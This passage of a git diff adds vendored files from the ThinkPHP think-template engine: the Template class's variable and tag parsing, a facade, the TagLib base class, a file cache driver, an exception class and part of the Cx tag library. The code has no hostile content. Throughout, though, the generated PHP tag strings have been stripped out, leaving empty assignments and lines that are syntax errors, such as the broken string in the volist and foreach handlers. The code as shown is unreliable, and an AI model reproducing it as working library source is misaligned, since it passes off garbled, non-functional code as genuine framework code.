$this->parseVar($array[2]); + $name .= $array[1] . $array[2]; + } + + switch ($first) { + case '?': + $this->parseVarFunction($name); + $str = ''; + break; + case '=': + $str = ''; + break; + default: + $str = ''; + } + } else { + if (isset($array[1])) { + $express = true; + $this->parseVar($array[2]); + $express = $name . $array[1] . $array[2]; + } else { + $express = false; + } + + if (in_array($first, ['?', '=', ':'])) { + $str = trim(substr($str, 1)); + if ('$' == substr($str, 0, 1)) { + $str = $this->parseVarFunction($str); + } + } + + // $name为数组 + switch ($first) { + case '?': + // {$varname??'xxx'} $varname有定义则输出$varname,否则输出xxx + $str = 'parseVarFunction($name) . ' : ' . $str . '; ?>'; + break; + case '=': + // {$varname?='xxx'} $varname为真时才输出xxx + $str = ''; + break; + case ':': + // {$varname?:'xxx'} $varname为真时输出$varname,否则输出xxx + $str = 'parseVarFunction($name) . ' : ' . $str . '; ?>'; + break; + default: + if (strpos($str, ':')) { + // {$varname ? 'a' : 'b'} $varname为真时输出a,否则输出b + $array = explode(':', $str, 2); + + $array[0] = '$' == substr(trim($array[0]), 0, 1) ? $this->parseVarFunction($array[0]) : $array[0]; + $array[1] = '$' == substr(trim($array[1]), 0, 1) ? $this->parseVarFunction($array[1]) : $array[1]; + + $str = implode(' : ', $array); + } + $str = ''; + } + } + } else { + $this->parseVar($str); + $this->parseVarFunction($str); + $str = ''; + } + break; + case ':': + // 输出某个函数的结果 + $str = substr($str, 1); + $this->parseVar($str); + $str = ''; + break; + case '~': + // 执行某个函数 + $str = substr($str, 1); + $this->parseVar($str); + $str = ''; + break; + case '-': + case '+': + // 输出计算 + $this->parseVar($str); + $str = ''; + break; + case '/': + // 注释标签 + $flag2 = substr($str, 1, 1); + if ('/' == $flag2 || ('*' == $flag2 && substr(rtrim($str), -2) == '*/')) { + $str = ''; + } + break; + default: + // 未识别的标签直接返回 + $str = $this->config['tpl_begin'] . $str . $this->config['tpl_end']; + break; + } + + $content = str_replace($match[0], $str, $content); + } + + unset($matches); + } + } + + /** + * 模板变量解析,支持使用函数 + * 格式: {$varname|function1|function2=arg1,arg2} + * @access public + * @param string $varStr 变量数据 + * @return void + */ + public function parseVar(string &$varStr): void + { + $varStr = trim($varStr); + + if (preg_match_all('/\$[a-zA-Z_](?>\w*)(?:[:\.][0-9a-zA-Z_](?>\w*))+/', $varStr, $matches, PREG_OFFSET_CAPTURE)) { + static $_varParseList = []; + + while ($matches[0]) { + $match = array_pop($matches[0]); + + //如果已经解析过该变量字串,则直接返回变量值 + if (isset($_varParseList[$match[0]])) { + $parseStr = $_varParseList[$match[0]]; + } else { + if (strpos($match[0], '.')) { + $vars = explode('.', $match[0]); + $first = array_shift($vars); + + if (isset($this->extend[$first])) { + $callback = $this->extend[$first]; + $parseStr = $callback($vars); + } elseif ('$Request' == $first) { + // 输出请求变量 + $parseStr = $this->parseRequestVar($vars); + } elseif ('$Think' == $first) { + // 所有以Think.打头的以特殊变量对待 无需模板赋值就可以输出 + $parseStr = $this->parseThinkVar($vars); + } else { + switch ($this->config['tpl_var_identify']) { + case 'array': // 识别为数组 + $parseStr = $first . '[\'' . implode('\'][\'', $vars) . '\']'; + break; + case 'obj': // 识别为对象 + $parseStr = $first . '->' . implode('->', $vars); + break; + default: // 自动判断数组或对象 + $parseStr = '(is_array(' . $first . ')?' . $first . '[\'' . implode('\'][\'', $vars) . '\']:' . $first . '->' . implode('->', $vars) . ')'; + } + } + } else { + $parseStr = str_replace(':', '->', $match[0]); + } + + $_varParseList[$match[0]] = $parseStr; + } + + $varStr = substr_replace($varStr, $parseStr, $match[1], strlen($match[0])); + } + unset($matches); + } + } + + /** + * 对模板中使用了函数的变量进行解析 + * 格式 {$varname|function1|function2=arg1,arg2} + * @access public + * @param string $varStr 变量字符串 + * @param bool $autoescape 自动转义 + * @return string + */ + public function parseVarFunction(string &$varStr, bool $autoescape = true): string + { + if (!$autoescape && false === strpos($varStr, '|')) { + return $varStr; + } elseif ($autoescape && !preg_match('/\|(\s)?raw(\||\s)?/i', $varStr)) { + $varStr .= '|' . $this->config['default_filter']; + } + + static $_varFunctionList = []; + + $_key = md5($varStr); + + //如果已经解析过该变量字串,则直接返回变量值 + if (isset($_varFunctionList[$_key])) { + $varStr = $_varFunctionList[$_key]; + } else { + $varArray = explode('|', $varStr); + + // 取得变量名称 + $name = trim(array_shift($varArray)); + + // 对变量使用函数 + $length = count($varArray); + + // 取得模板禁止使用函数列表 + $template_deny_funs = explode(',', $this->config['tpl_deny_func_list']); + + for ($i = 0; $i < $length; $i++) { + $args = explode('=', $varArray[$i], 2); + + // 模板函数过滤 + $fun = trim($args[0]); + if (in_array($fun, $template_deny_funs)) { + continue; + } + + switch (strtolower($fun)) { + case 'raw': + break; + case 'date': + $name = 'date(' . $args[1] . ',!is_numeric(' . $name . ')? strtotime(' . $name . ') : ' . $name . ')'; + break; + case 'first': + $name = 'current(' . $name . ')'; + break; + case 'last': + $name = 'end(' . $name . ')'; + break; + case 'upper': + $name = 'strtoupper(' . $name . ')'; + break; + case 'lower': + $name = 'strtolower(' . $name . ')'; + break; + case 'format': + $name = 'sprintf(' . $args[1] . ',' . $name . ')'; + break; + case 'default': // 特殊模板函数 + if (false === strpos($name, '(')) { + $name = '(isset(' . $name . ') && (' . $name . ' !== \'\')?' . $name . ':' . $args[1] . ')'; + } else { + $name = '(' . $name . ' ?: ' . $args[1] . ')'; + } + break; + default: // 通用模板函数 + if (isset($args[1])) { + if (strstr($args[1], '###')) { + $args[1] = str_replace('###', $name, $args[1]); + $name = "$fun($args[1])"; + } else { + $name = "$fun($name,$args[1])"; + } + } else { + if (!empty($args[0])) { + $name = "$fun($name)"; + } + } + } + } + + $_varFunctionList[$_key] = $name; + $varStr = $name; + } + return $varStr; + } + + /** + * 请求变量解析 + * 格式 以 $Request. 打头的变量属于请求变量 + * @access public + * @param array $vars 变量数组 + * @return string + */ + public function parseRequestVar(array $vars): string + { + $type = strtoupper(trim(array_shift($vars))); + $param = implode('.', $vars); + + switch ($type) { + case 'SERVER': + $parseStr = '$_SERVER[\'' . $param . '\']'; + break; + case 'GET': + $parseStr = '$_GET[\'' . $param . '\']'; + break; + case 'POST': + $parseStr = '$_POST[\'' . $param . '\']'; + break; + case 'COOKIE': + $parseStr = '$_COOKIE[\'' . $param . '\']'; + break; + case 'SESSION': + $parseStr = '$_SESSION[\'' . $param . '\']'; + break; + case 'ENV': + $parseStr = '$_ENV[\'' . $param . '\']'; + break; + case 'REQUEST': + $parseStr = '$_REQUEST[\'' . $param . '\']'; + break; + default: + $parseStr = '\'\''; + } + + return $parseStr; + } + + /** + * 特殊模板变量解析 + * 格式 以 $Think. 打头的变量属于特殊模板变量 + * @access public + * @param array $vars 变量数组 + * @return string + */ + public function parseThinkVar(array $vars): string + { + $type = strtoupper(trim(array_shift($vars))); + $param = implode('.', $vars); + + switch ($type) { + case 'CONST': + $parseStr = strtoupper($param); + break; + case 'NOW': + $parseStr = "date('Y-m-d g:i a',time())"; + break; + case 'LDELIM': + $parseStr = '\'' . ltrim($this->config['tpl_begin'], '\\') . '\''; + break; + case 'RDELIM': + $parseStr = '\'' . ltrim($this->config['tpl_end'], '\\') . '\''; + break; + default: + $parseStr = defined($type) ? $type : '\'\''; + } + + return $parseStr; + } + + /** + * 分析加载的模板文件并读取内容 支持多个模板文件读取 + * @access private + * @param string $templateName 模板文件名 + * @return string + */ + private function parseTemplateName(string $templateName): string + { + $array = explode(',', $templateName); + $parseStr = ''; + + foreach ($array as $templateName) { + if (empty($templateName)) { + continue; + } + + if (0 === strpos($templateName, '$')) { + //支持加载变量文件名 + $templateName = $this->get(substr($templateName, 1)); + } + + $template = $this->parseTemplateFile($templateName); + + if ($template) { + // 获取模板文件内容 + $parseStr .= file_get_contents($template); + } + } + + return $parseStr; + } + + /** + * 解析模板文件名 + * @access private + * @param string $template 文件名 + * @return string + */ + private function parseTemplateFile(string $template): string + { + if ('' == pathinfo($template, PATHINFO_EXTENSION)) { + + if (0 !== strpos($template, '/')) { + $template = str_replace(['/', ':'], $this->config['view_depr'], $template); + } else { + $template = str_replace(['/', ':'], $this->config['view_depr'], substr($template, 1)); + } + + $template = $this->config['view_path'] . $template . '.' . ltrim($this->config['view_suffix'], '.'); + } + + if (is_file($template)) { + // 记录模板文件的更新时间 + $this->includeFile[$template] = filemtime($template); + + return $template; + } + + throw new Exception('template not exists:' . $template); + } + + /** + * 按标签生成正则 + * @access private + * @param string $tagName 标签名 + * @return string + */ + private function getRegex(string $tagName): string + { + $regex = ''; + if ('tag' == $tagName) { + $begin = $this->config['tpl_begin']; + $end = $this->config['tpl_end']; + + if (strlen(ltrim($begin, '\\')) == 1 && strlen(ltrim($end, '\\')) == 1) { + $regex = $begin . '((?:[\$]{1,2}[a-wA-w_]|[\:\~][\$a-wA-w_]|[+]{2}[\$][a-wA-w_]|[-]{2}[\$][a-wA-w_]|\/[\*\/])(?>[^' . $end . ']*))' . $end; + } else { + $regex = $begin . '((?:[\$]{1,2}[a-wA-w_]|[\:\~][\$a-wA-w_]|[+]{2}[\$][a-wA-w_]|[-]{2}[\$][a-wA-w_]|\/[\*\/])(?>(?:(?!' . $end . ').)*))' . $end; + } + } else { + $begin = $this->config['taglib_begin']; + $end = $this->config['taglib_end']; + $single = strlen(ltrim($begin, '\\')) == 1 && strlen(ltrim($end, '\\')) == 1 ? true : false; + + switch ($tagName) { + case 'block': + if ($single) { + $regex = $begin . '(?:' . $tagName . '\b\s+(?>(?:(?!name=).)*)\bname=([\'\"])(?P[\$\w\-\/\.]+)\\1(?>[^' . $end . ']*)|\/' . $tagName . ')' . $end; + } else { + $regex = $begin . '(?:' . $tagName . '\b\s+(?>(?:(?!name=).)*)\bname=([\'\"])(?P[\$\w\-\/\.]+)\\1(?>(?:(?!' . $end . ').)*)|\/' . $tagName . ')' . $end; + } + break; + case 'literal': + if ($single) { + $regex = '(' . $begin . $tagName . '\b(?>[^' . $end . ']*)' . $end . ')'; + $regex .= '(?:(?>[^' . $begin . ']*)(?>(?!' . $begin . '(?>' . $tagName . '\b[^' . $end . ']*|\/' . $tagName . ')' . $end . ')' . $begin . '[^' . $begin . ']*)*)'; + $regex .= '(' . $begin . '\/' . $tagName . $end . ')'; + } else { + $regex = '(' . $begin . $tagName . '\b(?>(?:(?!' . $end . ').)*)' . $end . ')'; + $regex .= '(?:(?>(?:(?!' . $begin . ').)*)(?>(?!' . $begin . '(?>' . $tagName . '\b(?>(?:(?!' . $end . ').)*)|\/' . $tagName . ')' . $end . ')' . $begin . '(?>(?:(?!' . $begin . ').)*))*)'; + $regex .= '(' . $begin . '\/' . $tagName . $end . ')'; + } + break; + case 'restoreliteral': + $regex = ''; + break; + case 'include': + $name = 'file'; + case 'taglib': + case 'layout': + case 'extend': + if (empty($name)) { + $name = 'name'; + } + if ($single) { + $regex = $begin . $tagName . '\b\s+(?>(?:(?!' . $name . '=).)*)\b' . $name . '=([\'\"])(?P[\$\w\-\/\.\:@,\\\\]+)\\1(?>[^' . $end . ']*)' . $end; + } else { + $regex = $begin . $tagName . '\b\s+(?>(?:(?!' . $name . '=).)*)\b' . $name . '=([\'\"])(?P[\$\w\-\/\.\:@,\\\\]+)\\1(?>(?:(?!' . $end . ').)*)' . $end; + } + break; + } + } + + return '/' . $regex . '/is'; + } + + public function __debugInfo() + { + $data = get_object_vars($this); + unset($data['storage']); + + return $data; + } +} diff --git a/vendor/topthink/think-template/src/facade/Template.php b/vendor/topthink/think-template/src/facade/Template.php new file mode 100644 index 0000000..665a180 --- /dev/null +++ b/vendor/topthink/think-template/src/facade/Template.php @@ -0,0 +1,83 @@ + +// +---------------------------------------------------------------------- + +namespace think\facade; + +if (class_exists('think\Facade')) { + class Facade extends \think\Facade + {} +} else { + class Facade + { + /** + * 始终创建新的对象实例 + * @var bool + */ + protected static $alwaysNewInstance; + + protected static $instance; + + /** + * 获取当前Facade对应类名 + * @access protected + * @return string + */ + protected static function getFacadeClass() + {} + + /** + * 创建Facade实例 + * @static + * @access protected + * @return object + */ + protected static function createFacade() + { + $class = static::getFacadeClass() ?: 'think\Template'; + + if (static::$alwaysNewInstance) { + return new $class(); + } + + if (!self::$instance) { + self::$instance = new $class(); + } + + return self::$instance; + + } + + // 调用实际类的方法 + public static function __callStatic($method, $params) + { + return call_user_func_array([static::createFacade(), $method], $params); + } + } +} + +/** + * @see \think\Template + * @mixin \think\Template + */ +class Template extends Facade +{ + protected static $alwaysNewInstance = true; + + /** + * 获取当前Facade对应类名(或者已经绑定的容器对象标识) + * @access protected + * @return string + */ + protected static function getFacadeClass() + { + return 'think\Template'; + } +} diff --git a/vendor/topthink/think-template/src/template/TagLib.php b/vendor/topthink/think-template/src/template/TagLib.php new file mode 100644 index 0000000..f6c8fbb --- /dev/null +++ b/vendor/topthink/think-template/src/template/TagLib.php @@ -0,0 +1,349 @@ + +// +---------------------------------------------------------------------- + +namespace think\template; + +use Exception; +use think\Template; + +/** + * ThinkPHP标签库TagLib解析基类 + * @category Think + * @package Think + * @subpackage Template + * @author liu21st + */ +class TagLib +{ + + /** + * 标签库定义XML文件 + * @var string + * @access protected + */ + protected $xml = ''; + protected $tags = []; // 标签定义 + /** + * 标签库名称 + * @var string + * @access protected + */ + protected $tagLib = ''; + + /** + * 标签库标签列表 + * @var array + * @access protected + */ + protected $tagList = []; + + /** + * 标签库分析数组 + * @var array + * @access protected + */ + protected $parse = []; + + /** + * 标签库是否有效 + * @var bool + * @access protected + */ + protected $valid = false; + + /** + * 当前模板对象 + * @var object + * @access protected + */ + protected $tpl; + + protected $comparison = [' nheq ' => ' !== ', ' heq ' => ' === ', ' neq ' => ' != ', ' eq ' => ' == ', ' egt ' => ' >= ', ' gt ' => ' > ', ' elt ' => ' <= ', ' lt ' => ' < ']; + + /** + * 架构函数 + * @access public + * @param Template $template 模板引擎对象 + */ + public function __construct(Template $template) + { + $this->tpl = $template; + } + + /** + * 按签标库替换页面中的标签 + * @access public + * @param string $content 模板内容 + * @param string $lib 标签库名 + * @return void + */ + public function parseTag(string &$content, string $lib = ''): void + { + $tags = []; + $lib = $lib ? strtolower($lib) . ':' : ''; + + foreach ($this->tags as $name => $val) { + $close = !isset($val['close']) || $val['close'] ? 1 : 0; + $tags[$close][$lib . $name] = $name; + if (isset($val['alias'])) { + // 别名设置 + $array = (array) $val['alias']; + foreach (explode(',', $array[0]) as $v) { + $tags[$close][$lib . $v] = $name; + } + } + } + + // 闭合标签 + if (!empty($tags[1])) { + $nodes = []; + $regex = $this->getRegex(array_keys($tags[1]), 1); + if (preg_match_all($regex, $content, $matches, PREG_SET_ORDER | PREG_OFFSET_CAPTURE)) { + $right = []; + foreach ($matches as $match) { + if ('' == $match[1][0]) { + $name = strtolower($match[2][0]); + // 如果有没闭合的标签头则取出最后一个 + if (!empty($right[$name])) { + // $match[0][1]为标签结束符在模板中的位置 + $nodes[$match[0][1]] = [ + 'name' => $name, + 'begin' => array_pop($right[$name]), // 标签开始符 + 'end' => $match[0], // 标签结束符 + ]; + } + } else { + // 标签头压入栈 + $right[strtolower($match[1][0])][] = $match[0]; + } + } + unset($right, $matches); + // 按标签在模板中的位置从后向前排序 + krsort($nodes); + } + + $break = ''; + if ($nodes) { + $beginArray = []; + // 标签替换 从后向前 + foreach ($nodes as $pos => $node) { + // 对应的标签名 + $name = $tags[1][$node['name']]; + $alias = $lib . $name != $node['name'] ? ($lib ? strstr($node['name'], $lib) : $node['name']) : ''; + + // 解析标签属性 + $attrs = $this->parseAttr($node['begin'][0], $name, $alias); + $method = 'tag' . $name; + + // 读取标签库中对应的标签内容 replace[0]用来替换标签头,replace[1]用来替换标签尾 + $replace = explode($break, $this->$method($attrs, $break)); + + if (count($replace) > 1) { + while ($beginArray) { + $begin = end($beginArray); + // 判断当前标签尾的位置是否在栈中最后一个标签头的后面,是则为子标签 + if ($node['end'][1] > $begin['pos']) { + break; + } else { + // 不为子标签时,取出栈中最后一个标签头 + $begin = array_pop($beginArray); + // 替换标签头部 + $content = substr_replace($content, $begin['str'], $begin['pos'], $begin['len']); + } + } + // 替换标签尾部 + $content = substr_replace($content, $replace[1], $node['end'][1], strlen($node['end'][0])); + // 把标签头压入栈 + $beginArray[] = ['pos' => $node['begin'][1], 'len' => strlen($node['begin'][0]), 'str' => $replace[0]]; + } + } + + while ($beginArray) { + $begin = array_pop($beginArray); + // 替换标签头部 + $content = substr_replace($content, $begin['str'], $begin['pos'], $begin['len']); + } + } + } + // 自闭合标签 + if (!empty($tags[0])) { + $regex = $this->getRegex(array_keys($tags[0]), 0); + $content = preg_replace_callback($regex, function ($matches) use (&$tags, &$lib) { + // 对应的标签名 + $name = $tags[0][strtolower($matches[1])]; + $alias = $lib . $name != $matches[1] ? ($lib ? strstr($matches[1], $lib) : $matches[1]) : ''; + // 解析标签属性 + $attrs = $this->parseAttr($matches[0], $name, $alias); + $method = 'tag' . $name; + return $this->$method($attrs, ''); + }, $content); + } + } + + /** + * 按标签生成正则 + * @access public + * @param array|string $tags 标签名 + * @param boolean $close 是否为闭合标签 + * @return string + */ + public function getRegex($tags, bool $close): string + { + $begin = $this->tpl->getConfig('taglib_begin'); + $end = $this->tpl->getConfig('taglib_end'); + $single = strlen(ltrim($begin, '\\')) == 1 && strlen(ltrim($end, '\\')) == 1 ? true : false; + $tagName = is_array($tags) ? implode('|', $tags) : $tags; + + if ($single) { + if ($close) { + // 如果是闭合标签 + $regex = $begin . '(?:(' . $tagName . ')\b(?>[^' . $end . ']*)|\/(' . $tagName . '))' . $end; + } else { + $regex = $begin . '(' . $tagName . ')\b(?>[^' . $end . ']*)' . $end; + } + } else { + if ($close) { + // 如果是闭合标签 + $regex = $begin . '(?:(' . $tagName . ')\b(?>(?:(?!' . $end . ').)*)|\/(' . $tagName . '))' . $end; + } else { + $regex = $begin . '(' . $tagName . ')\b(?>(?:(?!' . $end . ').)*)' . $end; + } + } + + return '/' . $regex . '/is'; + } + + /** + * 分析标签属性 正则方式 + * @access public + * @param string $str 标签属性字符串 + * @param string $name 标签名 + * @param string $alias 别名 + * @return array + */ + public function parseAttr(string $str, string $name, string $alias = ''): array + { + $regex = '/\s+(?>(?P[\w-]+)\s*)=(?>\s*)([\"\'])(?P(?:(?!\\2).)*)\\2/is'; + $result = []; + + if (preg_match_all($regex, $str, $matches)) { + foreach ($matches['name'] as $key => $val) { + $result[$val] = $matches['value'][$key]; + } + + if (!isset($this->tags[$name])) { + // 检测是否存在别名定义 + foreach ($this->tags as $key => $val) { + if (isset($val['alias'])) { + $array = (array) $val['alias']; + if (in_array($name, explode(',', $array[0]))) { + $tag = $val; + $type = !empty($array[1]) ? $array[1] : 'type'; + $result[$type] = $name; + break; + } + } + } + } else { + $tag = $this->tags[$name]; + // 设置了标签别名 + if (!empty($alias) && isset($tag['alias'])) { + $type = !empty($tag['alias'][1]) ? $tag['alias'][1] : 'type'; + $result[$type] = $alias; + } + } + + if (!empty($tag['must'])) { + $must = explode(',', $tag['must']); + foreach ($must as $name) { + if (!isset($result[$name])) { + throw new Exception('tag attr must:' . $name); + } + } + } + } else { + // 允许直接使用表达式的标签 + if (!empty($this->tags[$name]['expression'])) { + static $_taglibs; + if (!isset($_taglibs[$name])) { + $_taglibs[$name][0] = strlen($this->tpl->getConfig('taglib_begin_origin') . $name); + $_taglibs[$name][1] = strlen($this->tpl->getConfig('taglib_end_origin')); + } + $result['expression'] = substr($str, $_taglibs[$name][0], -$_taglibs[$name][1]); + // 清除自闭合标签尾部/ + $result['expression'] = rtrim($result['expression'], '/'); + $result['expression'] = trim($result['expression']); + } elseif (empty($this->tags[$name]) || !empty($this->tags[$name]['attr'])) { + throw new Exception('tag error:' . $name); + } + } + + return $result; + } + + /** + * 解析条件表达式 + * @access public + * @param string $condition 表达式标签内容 + * @return string + */ + public function parseCondition(string $condition): string + { + if (strpos($condition, ':')) { + $condition = ' ' . substr(strstr($condition, ':'), 1); + } + + $condition = str_ireplace(array_keys($this->comparison), array_values($this->comparison), $condition); + $this->tpl->parseVar($condition); + + return $condition; + } + + /** + * 自动识别构建变量 + * @access public + * @param string $name 变量描述 + * @return string + */ + public function autoBuildVar(string &$name): string + { + $flag = substr($name, 0, 1); + + if (':' == $flag) { + // 以:开头为函数调用,解析前去掉: + $name = substr($name, 1); + } elseif ('$' != $flag && preg_match('/[a-zA-Z_]/', $flag)) { + // XXX: 这句的写法可能还需要改进 + // 常量不需要解析 + if (defined($name)) { + return $name; + } + + // 不以$开头并且也不是常量,自动补上$前缀 + $name = '$' . $name; + } + + $this->tpl->parseVar($name); + $this->tpl->parseVarFunction($name, false); + + return $name; + } + + /** + * 获取标签列表 + * @access public + * @return array + */ + public function getTags(): array + { + return $this->tags; + } +} diff --git a/vendor/topthink/think-template/src/template/driver/File.php b/vendor/topthink/think-template/src/template/driver/File.php new file mode 100644 index 0000000..510d10a --- /dev/null +++ b/vendor/topthink/think-template/src/template/driver/File.php @@ -0,0 +1,83 @@ + +// +---------------------------------------------------------------------- + +namespace think\template\driver; + +use Exception; + +class File +{ + protected $cacheFile; + + /** + * 写入编译缓存 + * @access public + * @param string $cacheFile 缓存的文件名 + * @param string $content 缓存的内容 + * @return void + */ + public function write(string $cacheFile, string $content): void + { + // 检测模板目录 + $dir = dirname($cacheFile); + + if (!is_dir($dir)) { + mkdir($dir, 0755, true); + } + + // 生成模板缓存文件 + if (false === file_put_contents($cacheFile, $content)) { + throw new Exception('cache write error:' . $cacheFile, 11602); + } + } + + /** + * 读取编译编译 + * @access public + * @param string $cacheFile 缓存的文件名 + * @param array $vars 变量数组 + * @return void + */ + public function read(string $cacheFile, array $vars = []): void + { + $this->cacheFile = $cacheFile; + + if (!empty($vars) && is_array($vars)) { + // 模板阵列变量分解成为独立变量 + extract($vars, EXTR_OVERWRITE); + } + + //载入模版缓存文件 + include $this->cacheFile; + } + + /** + * 检查编译缓存是否有效 + * @access public + * @param string $cacheFile 缓存的文件名 + * @param int $cacheTime 缓存时间 + * @return bool + */ + public function check(string $cacheFile, int $cacheTime): bool + { + // 缓存文件不存在, 直接返回false + if (!file_exists($cacheFile)) { + return false; + } + + if (0 != $cacheTime && time() > filemtime($cacheFile) + $cacheTime) { + // 缓存是否在有效期 + return false; + } + + return true; + } +} diff --git a/vendor/topthink/think-template/src/template/exception/TemplateNotFoundException.php b/vendor/topthink/think-template/src/template/exception/TemplateNotFoundException.php new file mode 100644 index 0000000..dd88b32 --- /dev/null +++ b/vendor/topthink/think-template/src/template/exception/TemplateNotFoundException.php @@ -0,0 +1,33 @@ + +// +---------------------------------------------------------------------- + +namespace think\template\exception; + +class TemplateNotFoundException extends \RuntimeException +{ + protected $template; + + public function __construct(string $message, string $template = '') + { + $this->message = $message; + $this->template = $template; + } + + /** + * 获取模板文件 + * @access public + * @return string + */ + public function getTemplate(): string + { + return $this->template; + } +} diff --git a/vendor/topthink/think-template/src/template/taglib/Cx.php b/vendor/topthink/think-template/src/template/taglib/Cx.php new file mode 100644 index 0000000..bccafc1 --- /dev/null +++ b/vendor/topthink/think-template/src/template/taglib/Cx.php @@ -0,0 +1,715 @@ + +// +---------------------------------------------------------------------- + +namespace think\template\taglib; + +use think\template\TagLib; + +/** + * CX标签库解析类 + * @category Think + * @package Think + * @subpackage Driver.Taglib + * @author liu21st + */ +class Cx extends Taglib +{ + + // 标签定义 + protected $tags = [ + // 标签定义: attr 属性列表 close 是否闭合(0 或者1 默认1) alias 标签别名 level 嵌套层次 + 'php' => ['attr' => ''], + 'volist' => ['attr' => 'name,id,offset,length,key,mod', 'alias' => 'iterate'], + 'foreach' => ['attr' => 'name,id,item,key,offset,length,mod', 'expression' => true], + 'if' => ['attr' => 'condition', 'expression' => true], + 'elseif' => ['attr' => 'condition', 'close' => 0, 'expression' => true], + 'else' => ['attr' => '', 'close' => 0], + 'switch' => ['attr' => 'name', 'expression' => true], + 'case' => ['attr' => 'value,break', 'expression' => true], + 'default' => ['attr' => '', 'close' => 0], + 'compare' => ['attr' => 'name,value,type', 'alias' => ['eq,equal,notequal,neq,gt,lt,egt,elt,heq,nheq', 'type']], + 'range' => ['attr' => 'name,value,type', 'alias' => ['in,notin,between,notbetween', 'type']], + 'empty' => ['attr' => 'name'], + 'notempty' => ['attr' => 'name'], + 'present' => ['attr' => 'name'], + 'notpresent' => ['attr' => 'name'], + 'defined' => ['attr' => 'name'], + 'notdefined' => ['attr' => 'name'], + 'load' => ['attr' => 'file,href,type,value,basepath', 'close' => 0, 'alias' => ['import,css,js', 'type']], + 'assign' => ['attr' => 'name,value', 'close' => 0], + 'define' => ['attr' => 'name,value', 'close' => 0], + 'for' => ['attr' => 'start,end,name,comparison,step'], + 'url' => ['attr' => 'link,vars,suffix,domain', 'close' => 0, 'expression' => true], + 'function' => ['attr' => 'name,vars,use,call'], + ]; + + /** + * php标签解析 + * 格式: + * {php}echo $name{/php} + * @access public + * @param array $tag 标签属性 + * @param string $content 标签内容 + * @return string + */ + public function tagPhp(array $tag, string $content): string + { + $parseStr = ''; + return $parseStr; + } + + /** + * volist标签解析 循环输出数据集 + * 格式: + * {volist name="userList" id="user" empty=""} + * {user.username} + * {user.email} + * {/volist} + * @access public + * @param array $tag 标签属性 + * @param string $content 标签内容 + * @return string + */ + public function tagVolist(array $tag, string $content): string + { + $name = $tag['name']; + $id = $tag['id']; + $empty = isset($tag['empty']) ? $tag['empty'] : ''; + $key = !empty($tag['key']) ? $tag['key'] : 'i'; + $mod = isset($tag['mod']) ? $tag['mod'] : '2'; + $offset = !empty($tag['offset']) && is_numeric($tag['offset']) ? intval($tag['offset']) : 0; + $length = !empty($tag['length']) && is_numeric($tag['length']) ? intval($tag['length']) : 'null'; + // 允许使用函数设定数据集 {$vo.name} + $parseStr = 'autoBuildVar($name); + $parseStr .= '$_result=' . $name . ';'; + $name = '$_result'; + } else { + $name = $this->autoBuildVar($name); + } + + $parseStr .= 'if(is_array(' . $name . ') || ' . $name . ' instanceof \think\Collection || ' . $name . ' instanceof \think\Paginator): $' . $key . ' = 0;'; + + // 设置了输出数组长度 + if (0 != $offset || 'null' != $length) { + $parseStr .= '$__LIST__ = is_array(' . $name . ') ? array_slice(' . $name . ',' . $offset . ',' . $length . ', true) : ' . $name . '->slice(' . $offset . ',' . $length . ', true); '; + } else { + $parseStr .= ' $__LIST__ = ' . $name . ';'; + } + + $parseStr .= 'if( count($__LIST__)==0 ) : echo "' . $empty . '" ;'; + $parseStr .= 'else: '; + $parseStr .= 'foreach($__LIST__ as $key=>$' . $id . '): '; + $parseStr .= '$mod = ($' . $key . ' % ' . $mod . ' );'; + $parseStr .= '++$' . $key . ';?>'; + $parseStr .= $content; + $parseStr .= ''; + + return $parseStr; + } + + /** + * foreach标签解析 循环输出数据集 + * 格式: + * {foreach name="userList" id="user" key="key" index="i" mod="2" offset="3" length="5" empty=""} + * {user.username} + * {/foreach} + * @access public + * @param array $tag 标签属性 + * @param string $content 标签内容 + * @return string + */ + public function tagForeach(array $tag, string $content): string + { + // 直接使用表达式 + if (!empty($tag['expression'])) { + $expression = ltrim(rtrim($tag['expression'], ')'), '('); + $expression = $this->autoBuildVar($expression); + $parseStr = ''; + $parseStr .= $content; + $parseStr .= ''; + return $parseStr; + } + + $name = $tag['name']; + $key = !empty($tag['key']) ? $tag['key'] : 'key'; + $item = !empty($tag['id']) ? $tag['id'] : $tag['item']; + $empty = isset($tag['empty']) ? $tag['empty'] : ''; + $offset = !empty($tag['offset']) && is_numeric($tag['offset']) ? intval($tag['offset']) : 0; + $length = !empty($tag['length']) && is_numeric($tag['length']) ? intval($tag['length']) : 'null'; + + $parseStr = 'autoBuildVar($name); + $parseStr .= $var . '=' . $name . '; '; + $name = $var; + } else { + $name = $this->autoBuildVar($name); + } + + $parseStr .= 'if(is_array(' . $name . ') || ' . $name . ' instanceof \think\Collection || ' . $name . ' instanceof \think\Paginator): '; + + // 设置了输出数组长度 + if (0 != $offset || 'null' != $length) { + if (!isset($var)) { + $var = '$_' . uniqid(); + } + $parseStr .= $var . ' = is_array(' . $name . ') ? array_slice(' . $name . ',' . $offset . ',' . $length . ', true) : ' . $name . '->slice(' . $offset . ',' . $length . ', true); '; + } else { + $var = &$name; + } + + $parseStr .= 'if( count(' . $var . ')==0 ) : echo "' . $empty . '" ;'; + $parseStr .= 'else: '; + + // 设置了索引项 + if (isset($tag['index'])) { + $index = $tag['index']; + $parseStr .= '$' . $index . '=0; '; + } + + $parseStr .= 'foreach(' . $var . ' as $' . $key . '=>$' . $item . '): '; + + // 设置了索引项 + if (isset($tag['index'])) { + $index = $tag['index']; + if (isset($tag['mod'])) { + $mod = (int) $tag['mod']; + $parseStr .= '$mod = ($' . $index . ' % ' . $mod . '); '; + } + $parseStr .= '++$' . $index . '; '; + } + + $parseStr .= '?>'; + // 循环体中的内容 + $parseStr .= $content; + $parseStr .= ''; + + return $parseStr; + } + + /** + * if标签解析 + * 格式: + * {if condition=" $a eq 1"} + * {elseif condition="$a eq 2" /} + * {else /} + * {/if} + * 表达式支持 eq neq gt egt lt elt == > >= < <= or and || && + * @access public + * @param array $tag 标签属性 + * @param string $content 标签内容 + * @return string + */ + public function tagIf(array $tag, string $content): string + { + $condition = !empty($tag['expression']) ? $tag['expression'] : $tag['condition']; + $condition = $this->parseCondition($condition); + $parseStr = '' . $content . ''; + + return $parseStr; + } + + /** + * elseif标签解析 + * 格式:见if标签 + * @access public + * @param array $tag 标签属性 + * @param string $content 标签内容 + * @return string + */ + public function tagElseif(array $tag, string $content): string + { + $condition = !empty($tag['expression']) ? $tag['expression'] : $tag['condition']; + $condition = $this->parseCondition($condition); + $parseStr = ''; + + return $parseStr; + } + + /** + * else标签解析 + * 格式:见if标签 + * @access public + * @param array $tag 标签属性 + * @return string + */ + public function tagElse(array 